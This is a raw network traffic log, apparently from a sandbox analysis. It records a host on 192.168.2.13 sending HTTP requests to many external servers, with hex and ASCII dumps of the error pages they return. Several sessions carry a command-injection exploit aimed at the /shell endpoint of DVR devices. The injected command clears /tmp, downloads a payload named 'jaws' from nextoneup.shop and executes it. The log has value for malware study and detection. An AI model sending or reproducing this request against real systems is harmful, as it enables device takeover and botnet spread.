Apr 14, 2024 04:01:36.654236078 CEST	1289	IN	HTTP/1.1 403 Forbidden Date: Sun, 14 Apr 2024 02:01:36 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, Keep-Alive Accept-Ranges: bytes Vary: Accept-Encoding,User-Agent Cache-Control: no-cache, no-store, must-revalidate Pragma: no-cache Expires: 0 Keep-Alive: timeout=5, max=200 Transfer-Encoding: chunked Content-Type: text/html Data Raw: 31 0d 0a 0a 0d 0a 31 0d 0a 0a 0d 0a 31 0d 0a 0a 0d 0a 31 35 37 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 50 72 61 67 6d 61 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 45 78 70 69 72 65 73 22 20 63 6f 6e 74 65 6e 74 3d 22 30 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 0d 0a 33 0d 0a 34 30 33 0d 0a 31 0d 0a 20 0d 0a 39 0d 0a 46 6f 72 62 69 64 64 65 6e 0d 0a 31 66 63 61 0d 0a 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 34 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 2e 34 32 38 35 37 31 34 32 39 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 66 66 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 32 46 33 32 33 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 73 65 63 74 69 6f 6e 2c 20 66 6f 6f 74 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 20 31 30 70 78 3b 0a 20 Data Ascii: 111157<!DOCTYPE html><html> <head> <meta http-equiv="Content-type" content="text/html; charset=utf-8"> <meta http-equiv="Cache-control" content="no-cache"> <meta http-equiv="Pragma" content="no-cache"> <meta http-equiv="Expires" content="0"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>34031 9Forbidden1fca</title> <style type="text/css"> body { font-family: Arial, Helvetica, sans-serif; font-size: 14px; line-height: 1.428571429; background-color: #ffffff; color: #2F3230; padding: 0; margin: 0; } section, footer { display: block; padding: 0; margin: 0; } .container { margin-left: auto; margin-right: auto; padding: 0 10px;
Apr 14, 2024 04:01:36.654253960 CEST	1289	IN	Data Raw: 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 72 65 73 70 6f 6e 73 65 2d 69 6e 66 6f 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 43 43 43 43 43 43 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 73 Data Ascii: } .response-info { color: #CCCCCC; } .status-code { font-size: 500%; } .status-reason { font-size: 250%; display: block; } .contact-
Apr 14, 2024 04:01:36.654300928 CEST	1289	IN	Data Raw: 20 7d 0a 20 20 20 20 20 20 20 20 2e 61 64 64 69 74 69 6f 6e 61 6c 2d 69 6e 66 6f 2d 69 74 65 6d 73 20 75 6c 20 6c 69 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 Data Ascii: } .additional-info-items ul li { width: 100%; } .info-image { padding: 10px; } .info-heading { font-weight: bold; text-align: left; word-break
Apr 14, 2024 04:01:36.654319048 CEST	1289	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 63 6f 6e 74 61 63 74 2d 69 6e 66 6f 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 38 70 78 3b 0a 20 20 20 20 20 20 20 Data Ascii: } .contact-info { font-size: 18px; } .info-image { float: left; } .info-heading { margin: 62px 0 0 98px; }
Apr 14, 2024 04:01:36.654335022 CEST	1289	IN	Data Raw: 41 66 73 75 2f 78 4b 76 39 42 34 51 55 7a 73 56 31 58 4b 46 54 7a 44 50 47 2b 4c 66 6f 4c 70 45 2f 4c 6a 4a 6e 7a 4f 30 38 51 43 41 75 67 4c 61 6c 4b 65 71 50 2f 6d 45 6d 57 36 51 6a 2b 42 50 49 45 37 49 59 6d 54 79 77 31 4d 46 77 62 61 6b 73 61 Data Ascii: Afsu/xKv9B4QUzsV1XKFTzDPG+LfoLpE/LjJnzO08QCAugLalKeqP/mEmW6Qj+BPIE7IYmTyw1MFwbaksaybSxDCA4STF+wg8rH7EzMwqNibY38mlvXKDdU5pDH3TRkl40vxJkZ+DO2Nu/3HnyC7t15obGBtqRFRXo6+0Z5YQh5LHd9YGWOsF+9Is5oQXctZKbvdAAtbHHM8+GLfojWdIgPff7YifRTNiZmusW+w8fDj1xdevNn
Apr 14, 2024 04:01:36.654366016 CEST	1289	IN	Data Raw: 2b 35 4e 4d 66 75 2f 32 32 38 50 6b 71 33 4e 5a 4e 4d 71 44 31 57 37 72 4d 6e 72 77 4a 65 51 45 6d 49 77 4b 73 61 63 4d 49 2f 54 56 4f 4c 6c 48 6a 51 6a 4d 31 59 56 74 56 51 33 52 77 68 76 4f 52 6f 33 63 6b 69 51 35 5a 4f 55 7a 6c 43 4f 4d 79 69 Data Ascii: +5NMfu/228Pkq3NZNMqD1W7rMnrwJeQEmIwKsacMI/TVOLlHjQjM1YVtVQ3RwhvORo3ckiQ5ZOUzlCOMyi9Z+LXREhS5iqrI4QnuNlf8oVEbK8A556QQK0LNrTj2tiWfcFnh0hPIpYEVGjmBAe2b95U3wMxioiErRm2nuhd8QRCA8IwTRAW1O7PAsbtCPyMMgJp+1/IaxqGARzrFttphUR+MvEPSx+6m/pCxEi3Y7p485ESAVmu
Apr 14, 2024 04:01:36.654383898 CEST	1244	IN	Data Raw: 4f 64 31 45 31 66 73 59 55 43 37 55 56 32 4a 6f 70 37 58 79 58 62 73 77 39 30 4b 59 55 49 6e 6a 70 6b 52 63 65 63 57 66 6b 45 6d 64 43 41 65 68 67 75 65 75 54 6d 4e 74 2b 73 68 6b 52 65 4b 64 33 76 36 37 6e 50 39 63 4e 44 4a 48 76 6f 44 2b 2b 78 Data Ascii: Od1E1fsYUC7UV2Jop7XyXbsw90KYUInjpkRcecWfkEmdCAehgueuTmNt+shkReKd3v67nP9cNDJHvoD++xdvpovXKCp5SfoGxHsj0yF+IwHUus7smVh8IHVGIwJtLy7uN6Pe/wAnrBxOnAayISLWkQ8woBKyR++dUTsuEK+L8p2BD4fGdsfqhxGQTQZluHULXrRsUFfBE0OgzIlraR8vkw6qnXmuDSF8RgS8th+d+phci8FJf1f
Apr 14, 2024 04:01:36.654400110 CEST	1289	IN	Data Raw: 33 37 0d 0a 34 30 33 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 73 74 61 74 75 73 2d 72 65 61 73 6f 6e 22 3e 0d 0a 38 38 0d 0a 46 6f 72 62 69 64 64 65 6e 3c 2f 73 70 61 6e 3e 0a Data Ascii: 37403</span> <span class="status-reason">88Forbidden</span> </section> <section class="contact-info"> Please forward this error screen to 1c127.0.0.1's <a href="mailto:2ber
Apr 14, 2024 04:01:36.654414892 CEST	520	IN	Data Raw: 20 20 20 20 20 20 20 20 3c 2f 73 65 63 74 69 6f 6e 3e 0a 20 20 20 20 20 20 20 20 3c 66 6f 6f 74 65 72 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 61 69 6e 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 Data Ascii: </section> <footer> <div class="container"> <a href="http://cpanel.com/?utm_source=cpanelwhm&utm_medium=cplogo&utm_content=logolink&utm_campaign=131403referral" target="cpanel" title="cPanel, Inc

Session ID	Source IP	Source Port	Destination IP	Destination Port
2010	192.168.2.13	55232	23.47.140.224	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:36.446583986 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:36.717560053 CEST	534	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 312 Expires: Sun, 14 Apr 2024 02:01:36 GMT Date: Sun, 14 Apr 2024 02:01:36 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 66 37 34 61 34 33 31 37 26 23 34 36 3b 31 37 31 33 30 36 30 30 39 36 26 23 34 36 3b 34 31 39 36 39 38 66 62 0a 3c 50 3e 68 74 74 70 73 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 65 72 72 6f 72 73 26 23 34 36 3b 65 64 67 65 73 75 69 74 65 26 23 34 36 3b 6e 65 74 26 23 34 37 3b 39 26 23 34 36 3b 66 37 34 61 34 33 31 37 26 23 34 36 3b 31 37 31 33 30 36 30 30 39 36 26 23 34 36 3b 34 31 39 36 39 38 66 62 3c 2f 50 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.f74a4317.1713060096.419698fb<P>https://errors.edgesuite.net/9.f74a4317.1713060096.419698fb</P></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
2011	192.168.2.13	34494	23.192.170.172	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:36.478737116 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:36.782857895 CEST	534	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 312 Expires: Sun, 14 Apr 2024 02:01:36 GMT Date: Sun, 14 Apr 2024 02:01:36 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 34 61 36 65 63 63 31 37 26 23 34 36 3b 31 37 31 33 30 36 30 30 39 36 26 23 34 36 3b 31 33 32 62 31 66 66 33 0a 3c 50 3e 68 74 74 70 73 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 65 72 72 6f 72 73 26 23 34 36 3b 65 64 67 65 73 75 69 74 65 26 23 34 36 3b 6e 65 74 26 23 34 37 3b 39 26 23 34 36 3b 34 61 36 65 63 63 31 37 26 23 34 36 3b 31 37 31 33 30 36 30 30 39 36 26 23 34 36 3b 31 33 32 62 31 66 66 33 3c 2f 50 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.4a6ecc17.1713060096.132b1ff3<P>https://errors.edgesuite.net/9.4a6ecc17.1713060096.132b1ff3</P></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
2012	192.168.2.13	54564	185.48.5.6	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:36.497566938 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:36.819715023 CEST	1289	IN	HTTP/1.1 403 Forbidden Content-Type: text/html Server: Microsoft-IIS/8.5 X-Powered-By: ASP.NET Date: Sun, 14 Apr 2024 02:01:36 GMT Content-Length: 1233 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 33 20 2d 20 46 6f 72 62 69 64 64 65 6e 3a 20 41 63 63 65 73 73 20 69 73 20 64 65 6e 69 65 64 2e 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 45 45 45 45 45 45 3b 7d 0d 0a 66 69 65 6c 64 73 65 74 7b 70 61 64 64 69 6e 67 3a 30 20 31 35 70 78 20 31 30 70 78 20 31 35 70 78 3b 7d 20 0d 0a 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 34 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 7d 0d 0a 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 37 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 43 43 30 30 30 30 3b 7d 20 0d 0a 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 32 65 6d 3b 6d 61 72 67 69 6e 3a 31 30 70 78 20 30 20 30 20 30 3b 63 6f 6c 6f 72 3a 23 30 30 30 30 30 30 3b 7d 20 0d 0a 23 68 65 61 64 65 72 7b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 30 3b 70 61 64 64 69 6e 67 3a 36 70 78 20 32 25 20 36 70 78 20 32 25 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 74 72 65 62 75 63 68 65 74 20 4d 53 22 2c 20 56 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 0d 0a 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 35 35 35 35 35 3b 7d 0d 0a 23 63 6f 6e 74 65 6e 74 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 32 25 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2e 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 46 46 3b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 38 70 78 3b 70 61 64 64 69 6e 67 3a 31 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2d 2d 3e 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 68 65 61 64 65 72 22 3e 3c 68 31 3e 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 3c 2f 64 69 76 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 63 6f 6e 74 65 6e 74 22 3e 0d 0a 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 22 3e 3c 66 69 65 6c 64 73 65 74 3e 0d 0a 20 20 3c 68 32 3e 34 30 33 20 2d 20 46 6f 72 62 69 64 64 65 6e 3a 20 41 63 63 65 73 73 20 69 73 20 64 65 6e 69 65 64 2e 3c 2f 68 32 3e 0d 0a 20 20 3c 68 33 3e 59 6f 75 20 64 6f 20 6e 6f 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 20 74 6f 20 76 69 65 77 20 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/><title>403 - Forbidden: Access is denied.</title><style type="text/css">...body{margin:0;font-size:.7em;font-family:Verdana, Arial, Helvetica, sans-serif;background:#EEEEEE;}fieldset{padding:0 15px 10px 15px;} h1{font-size:2.4em;margin:0;color:#FFF;}h2{font-size:1.7em;margin:0;color:#CC0000;} h3{font-size:1.2em;margin:10px 0 0 0;color:#000000;} #header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 2%;font-family:"trebuchet MS", Verdana, sans-serif;color:#FFF;background-color:#555555;}#content{margin:0 0 0 2%;position:relative;}.content-container{background:#FFF;width:96%;margin-top:8px;padding:10px;position:relative;}--></style></head><body><div id="header"><h1>Server Error</h1></div><div id="content"> <div class="content-container"><fieldset> <h2>403 - Forbidden: Access is denied.</h2> <h3>You do not have permission to view
Apr 14, 2024 04:01:36.819730997 CEST	128	IN	Data Raw: 74 68 69 73 20 64 69 72 65 63 74 6f 72 79 20 6f 72 20 70 61 67 65 20 75 73 69 6e 67 20 74 68 65 20 63 72 65 64 65 6e 74 69 61 6c 73 20 74 68 61 74 20 79 6f 75 20 73 75 70 70 6c 69 65 64 2e 3c 2f 68 33 3e 0d 0a 20 3c 2f 66 69 65 6c 64 73 65 74 3e Data Ascii: this directory or page using the credentials that you supplied.</h3> </fieldset></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
2013	192.168.2.13	52682	13.226.252.84	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:36.562740088 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:36.727489948 CEST	316	IN	HTTP/1.1 403 Forbidden Server: CloudFront Date: Sun, 14 Apr 2024 02:01:36 GMT Content-Type: text/html Content-Length: 151 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>CloudFront</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
2014	192.168.2.13	54246	44.212.229.33	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:36.626312971 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:36.853744984 CEST	408	IN	HTTP/1.1 301 Moved Permanently Server: awselb/2.0 Date: Sun, 14 Apr 2024 02:01:36 GMT Content-Type: text/html Content-Length: 134 Connection: keep-alive Location: https://127.0.0.1:443/shell?cd+/tmp;rm+-rf+*;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
2015	192.168.2.13	50872	148.0.2.9	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:36.656522036 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:36.920309067 CEST	316	IN	HTTP/1.1 200 OK Content-Type:text/html; charset=UTF-8 Pragma:no-cache Cache-control:no-cache, no-store, max-age=0 Transfer-Encoding:chunked X-Frame-Options:SAMEORIGIN Connection:Keep-Alive X-XSS-Protection:1; mode=block Content-Security-Policy:default-src 'self' 'unsafe-inline' 'unsafe-eval'
Apr 14, 2024 04:01:36.920329094 CEST	1289	IN	Data Raw: 64 33 33 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 Data Ascii: d33<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=ut
Apr 14, 2024 04:01:36.920361996 CEST	1289	IN	Data Raw: 27 29 29 0d 0a 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 0d 0a 20 20 20 20 7d 20 20 20 20 0d 0a 20 20 20 20 0d 0a 20 20 20 20 4c 69 73 74 20 3d 20 41 64 64 72 65 73 73 2e 73 70 6c 69 74 28 22 3a 22 29 3b Data Ascii: ')) { return false; } List = Address.split(":"); if (List.length > 8) { return false; } for (var i = 0; i < List.length; i++) { if (false == IsIPv6AddressUshortVali
Apr 14, 2024 04:01:36.921371937 CEST	849	IN	Data Raw: 61 72 20 4c 69 73 74 20 3d 20 48 6f 73 74 49 6e 66 6f 2e 73 70 6c 69 74 28 22 3a 22 29 3b 0d 0a 69 66 28 4c 69 73 74 2e 6c 65 6e 67 74 68 20 3e 3d 20 33 29 0d 0a 7b 0d 0a 2f 2a 20 69 6e 63 6c 75 64 65 20 74 77 6f 20 6f 72 20 6d 6f 72 65 20 74 68 Data Ascii: ar List = HostInfo.split(":");if(List.length >= 3){/* include two or more than two ":" /if(true == IsIPv6AddressValid(HostInfo)){/ host string not include port */window.location="https://[" + HostInfo + "]:" + SSLPort;}else

Session ID	Source IP	Source Port	Destination IP	Destination Port
2016	192.168.2.13	60180	154.212.248.4	23

Timestamp	Bytes transferred	Direction	Data
